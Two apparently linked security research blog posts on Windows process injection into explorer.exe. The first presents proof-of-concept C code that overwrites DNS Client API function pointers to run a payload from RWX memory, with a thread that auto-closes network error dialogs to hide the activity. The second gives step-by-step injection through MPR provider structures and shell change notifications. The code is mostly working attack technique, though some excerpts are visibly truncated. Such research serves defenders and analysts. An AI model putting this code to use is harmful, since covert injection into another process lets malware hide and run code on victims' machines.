    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
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Windows Process Injection: DNS Client API


This is a quick response to Code Execution via surgical callback overwrites by Adam. He suggests overwriting DNS memory functions to facilitate process injection. This post will demonstrate how the injection works with explorer.exe. It was only tested on a 64-bit version of Windows 10, so your experience may be different from mine. Nevertheless, the method does work.


When first loaded into a process, dnsapi!Heap_Initialize will assign the address of functions in the .text segment to variables in the .data segment. Figure 1 shows disassembly of this while figure 2 shows the function pointers.

Figure 1. dnsapi!Heap_Initialize

Figure 2. Function pointers for dnsapi.dll

pDnsAllocFunction is assigned dnsapi!Dns_HeapAlloc while pDnsFreeFunction is assigned dnsapi!Dns_HeapFree. Every time a DnsQuery API is called, both of these functions are executed via the pointers.

DNS Caching Resolver Service

This runs from inside dnsrslvr.dll and is loaded by a service host (svchost.exe) process. dnsrslvr!ResolverInitialize will assign the address of functions in the .text segment to variables in the .data segment. Figure 3. shows disassembly of this while figure 4 shows the function pointers.

Figure 3. dnsrslvr!ResolverInitialize

Figure 4. Function pointers for dnsrslvr.dll

pDnsAllocFunction is assigned dnsapi!DnsApiAlloc while pDnsFreeFunction is assigned dnsapi!DnsApiFree.

Finding Pointers

Load dnsapi.dll into local process, obtain the virtual address of the .data segment. Find two pointers with addresses inside the .text segment. Once found, subtract the base address of dnsapi.dll to obtain the relative virtual address (RVA). Then add the base address of dnsapi.dll in remote process. The following code from the PoC illustrates this.

LPVOID GetDnsApiAddr(DWORD pid) {
    LPVOID                m, rm, va = NULL;
    PIMAGE_DOS_HEADER     dos;
    DWORD                 i, cnt, rva=0;
    PULONG_PTR            ds;
    // does remote have dnsapi loaded?
    rm  = GetRemoteModuleHandle(pid, L"dnsapi.dll");
    if(rm == NULL) return NULL;
    // load local copy
    m   = LoadLibrary(L"dnsapi.dll");
    dos = (PIMAGE_DOS_HEADER)m;  
    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  
    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
    // locate the .data segment, save VA and number of pointers
    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
      if(*(PDWORD)sh[i].Name == *(PDWORD)".data") {
        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);
        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);
    // for each pointer
    for(i=0; i<cnt - 1; i++) {
      // if two pointers side by side are not to code, skip it
      if(!IsCodePtr((LPVOID)ds[i  ])) continue;
      if(!IsCodePtr((LPVOID)ds[i+1])) continue;
      // calculate VA in remote process
      va = ((PBYTE)&ds[i] - (PBYTE)m) + (PBYTE)rm;
    return va;


Overwriting either of the function pointers and invoking the DNS API to resolve a hostname allows us to control the flow of execution inside a remote process. Unless the DNS_QUERY_BYPASS_CACHE option is specified by a DNS API client, the DNS cache service may be used to resolve a hostname and that’s where it’s possible to control flow inside the service.

Executing In Explorer

Is the easiest way to demonstrate this method of injection because we can easily force it to resolve hostnames via the IShellWindows interface. Microsoft already provide an example of how to do this in sample code.

Network Dialogs

Since we’re deliberately using a fake UNC path to force invocation of the DNS Client API, explorer will display errors similar to what’s shown in figure 5.

Figure 5. Pesky Network Error

To hide these, a thread is created with an endless loop to find and automatically close them. It’s a bit crude and there may be a more elegant way of closing these, but it works for the PoC.

// for any "Network Error", close the window
VOID SuppressErrors(LPVOID lpParameter) {
    HWND hw;
    for(;;) {
      hw = FindWindowEx(NULL, NULL, NULL, L"Network Error");
      if(hw != NULL) {
        PostMessage(hw, WM_CLOSE, 0, 0);

Proof of Concept

To demonstrate the method of injection works, the following code outlines each step. For more details, view the full source here.

VOID dns_inject(LPVOID payload, DWORD payloadSize) {
    LPVOID dns, cs, ptr;
    DWORD  pid, cnt, tick, i, t;
    HANDLE hp, ht;
    SIZE_T wr;
    HWND   hw;
    WCHAR  unc[32]={L'\\', L'\\'}; // UNC path to invoke DNS api

    // 1. obtain process id for explorer
    //    and try read address of function pointers
    GetWindowThreadProcessId(GetShellWindow(), &pid); 
    ptr = GetDnsApiAddr(pid);
    // 2. create a thread to suppress network errors displayed
    ht = CreateThread(NULL, 0, 
      (LPTHREAD_START_ROUTINE)SuppressErrors, NULL, 0, NULL);
    // 3. if dns api not already loaded, try force 
    // explorer to load via fake UNC path
    if(ptr == NULL) {
      tick = GetTickCount();
      for(i=0; i<8; i++) {
        unc[2+i] = (tick % 26) + 'a';
        tick >>= 2;
      ptr = GetDnsApiAddr(pid);
    if(ptr != NULL) {
      // 4. open explorer, backup address of dns function.
      //    allocate RWX memory and write payload
      hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
      ReadProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);
      cs = VirtualAllocEx(hp, NULL, payloadSize, 
      WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
      // 5. overwrite pointer to dns function
      //    generate fake UNC path and trigger execution
      WriteProcessMemory(hp, ptr, &cs, sizeof(ULONG_PTR), &wr);
      tick = GetTickCount();
      for(i=0; i<8; i++) {
        unc[2+i] = (tick % 26) + L'a';
        tick >>= 2;
      // 6. restore dns function, release memory and close process
      WriteProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);
      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    // 7. terminate thread
    TerminateThread(ht, 0);


Processes have thousands of function pointers which are executed in response to I/O from the system or a user interface. Automating a way to monitor access to these function pointers while simultaneously sending I/O from an external process would no doubt uncover many more methods similar to the method discussed here. Source PoC.

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Windows Process Injection: Multiple Provider Router (MPR) DLL and Shell Notifications


Memory for MPR network providers can be modified to facilitate process injection by overwriting one of the function pointers and then invoking it via shell change notifications or window messages. While searching for a method of invocation, it was discovered injection could be acheived in explorer.exe without overwriting MPR functions at all. With that said, the structure that holds information about each provider is documented here, including how to find them in a remote process. This post is the result of playing around with the latest release of WinCheck by red plait which now includes dumping information about MPR providers. Worth a look if you’re interested in other vectors.

Network Providers

Figure 1. shows a list in the registry for a Windows 10, version 1903 VM.

Figure 1. List of Network Providers.

Figure 2. shows information for the VirtualBox provider used to implement shared folder functionality.

Figure 2. Information for VirtualBox Network Provider.

PROVIDER Structure

A legacy version was found on github and only required one additional field to be compatible with Windows 10. An array of these structures are stored in a global variable MPR!GlobalProviderInfo.

typedef struct _PROVIDER {
    NETRESOURCE                   Resource;
    DWORD                         Type;           // WNNC_NET_MSNet, WNNC_NET_LanMan, WNNC_NET_NetWare
    HMODULE                       Handle;         // Handle to the provider DLL.
    LPTSTR                        DllName;        // set to NULL after loaded.
    HMODULE                       AuthentHandle;  // Handle to authenticator DLL.
    LPTSTR                        AuthentDllName; // Authenticator Dll.
    DWORD                         InitClass;      // Network or Authentication provider.
    DWORD                         ConnectCaps;    // Cached result of GetCaps(WNNC_CONNECTION)
    DWORD                         Unknown;
    PF_NPAddConnection            AddConnection;
    PF_NPAddConnection3           AddConnection3;
    PF_NPGetReconnectFlags        GetReconnectFlags;
    PF_NPCancelConnection         CancelConnection;
    PF_NPGetConnection            GetConnection;
    PF_NPGetConnection3           GetConnection3;
    PF_NPGetUser                  GetUser;
    PF_NPOpenEnum                 OpenEnum;
    PF_NPEnumResource             EnumResource;
    PF_NPCloseEnum                CloseEnum;
    PF_NPGetCaps                  GetCaps;
    PF_NPGetDirectoryType         GetDirectoryType;
    PF_NPDirectoryNotify          DirectoryNotify;
    PF_NPPropertyDialog           PropertyDialog;
    PF_NPGetPropertyText          GetPropertyText;
    PF_NPSearchDialog             SearchDialog;
    PF_NPFormatNetworkName        FormatNetworkName;
    PF_NPLogonNotify              LogonNotify;
    PF_NPPasswordChangeNotify     PasswordChangeNotify;
    PF_NPGetCaps                  GetAuthentCaps;
    PF_NPFMXGetPermCaps           FMXGetPermCaps;
    PF_NPFMXEditPerm              FMXEditPerm;
    PF_NPFMXGetPermHelp           FMXGetPermHelp;
    PF_NPGetUniversalName         GetUniversalName;
    PF_NPGetResourceParent        GetResourceParent;
    PF_NPGetResourceInformation   GetResourceInformation;
    PF_NPGetConnectionPerformance GetConnectionPerformance;

Global Provider Info

With exception to vboxtray.exe on my test machine, the only process that uses MPR!GlobalProviderInfo is explorer.exe. You might find it via debugging symbols using SymFromName. To avoid depending on symbols, searching through the .data segment of MPR.dll for pointers to heap memory is required. Each pointer is read and interpreted as a PROVIDER structure. The following function when provided with a process handle and pointer to heap is an example of how one might perform validation. The IsCodePtrEx and IsHeapPtrEx wrapper functions simply call VirtualQueryEx to obtain the attributes of the memory and return TRUE for heap/code pointers or FALSE if not.

BOOL ValidateMPR(HANDLE hp, LPVOID cs) {
    PROVIDER prov;
    SIZE_T   rd;
    // read provider
    if(!ReadProcessMemory(hp, cs, &prov, 
      sizeof(prov), &rd)) return FALSE;
    // valid scope?
    switch(prov.Resource.dwScope) {
      case RESOURCE_CONTEXT   :
        return FALSE;
    /// valid type?
    switch(prov.Resource.dwType) {
      case RESOURCETYPE_ANY   :
        return FALSE;

    // valid display type?
    switch(prov.Resource.dwDisplayType) {
        return FALSE;
    // if not empty, make sure it's the heap
    if(prov.Resource.lpLocalName != NULL) {
      if(!IsHeapPtrEx(hp, prov.Resource.lpLocalName)) 
        return FALSE;
    if(prov.Resource.lpRemoteName != NULL) {
      if(!IsHeapPtrEx(hp, prov.Resource.lpRemoteName)) 
        return FALSE;
    if(prov.Resource.lpComment != NULL) {
      if(!IsHeapPtrEx(hp, prov.Resource.lpComment)) 
        return FALSE;
    if(prov.Resource.lpProvider != NULL) {
      if(!IsHeapPtrEx(hp, prov.Resource.lpProvider)) 
        return FALSE;
    // ensure at least one function points to code
    if(!IsCodePtrEx(hp, prov.AddConnection)) 
      return FALSE;
    return TRUE;

Using the Windows Debugger attached to explorer.exe, an execution path to MPR functions from an external process was found by first setting a memory breakpoint…

ba r 8 MPR!GlobalProviderInfo

…then sending various signals to I/O ports owned by explorer.exe which eventually resulted in a breakpoint hit. Window messages are usually successful in getting a reaction and on this occasion, shell notifications provided a path to the MPR functions.

Shell Notifications

While searching for an invocation method, the SHGetFolderLocation API with FOLDERID_NetworkFolder (My Network Places) and FOLDERID_NetHood (Network Shortcuts) was tried and proved to be ineffective. Searching online led me to a book by Dino Esposito called Visual C++ Windows Shell Programming. He discusses the SHChangeNotify API and how it can be used to refresh the desktop. When explorer.exe starts, it creates and registers a “shell change notify” window that allows external applications to directly send it notifications about certain events like the addition or removal of files, folders and network shares. In some ways, it’s a less powerful version of the Windows Notification Facility discussed in another post. Internally, the CTrayNotify class handles notifications sent to the notify window. Sending SHCNE_ASSOCCHANGED results in a refresh of the User Interface and additionally calls MPR functions. If you want to find this window easily, call the the undocumented user32!GetShellChangeNotifyWindow API which in turn retrieves it from NtCurrentTeb()->Win32ClientInfo.

Figure 3. Shell Change Notify Window Properties.

As you can see from the window properties in Figure 3, index zero of the window bytes has a value set. This is a heap pointer to the CTrayNotify class inside explorer.exe.

Injection Steps

At the moment, I’ve not provided a PoC, but will upload one later to the injection repository under the mpr folder. In the meantime, here’s some rough steps on how the injection works.

  1. Load a provider DLL and find the Relative Virtual Address (RVA) of GlobalProviderInfo in the .data segment of mpr.dll.
  2. Read the base address of mpr.dll in explorer.exe and add to the GlobalProviderInfo RVA.
  3. Copy/validate a PROVIDER structure from the virtual address of GlobalProviderInfo in explorer.exe.
  4. Open explorer.exe, allocate RWX memory and write a payload there.
  5. Overwrite a specific function pointer in remote PROVIDER structure with pointer to payload.
  6. Call SHChangeNotify(SHCNE_ASSOCCHANGED) to invoke the payload.
  7. Restore original function pointer in remote PROVIDER structure, deallocate memory and exit.


The CTrayNotify class and methods that handle shell notifications are more interesting as a vector than the MPR providers because notifications can still be used without MPR providers. A pointer to the class is stored on the heap and accessible via the GetWindowLongPtr API. One might also be able to retrieve the pointer from the Win32ClientInfo structures in the Thread Environment Block. Process injection is possible, but hijacking pointers to code is more interesting IMHO. Currently, that would be difficult to identify because a single process can have thousands of function pointers and any one one of them has the potential to redirect code!

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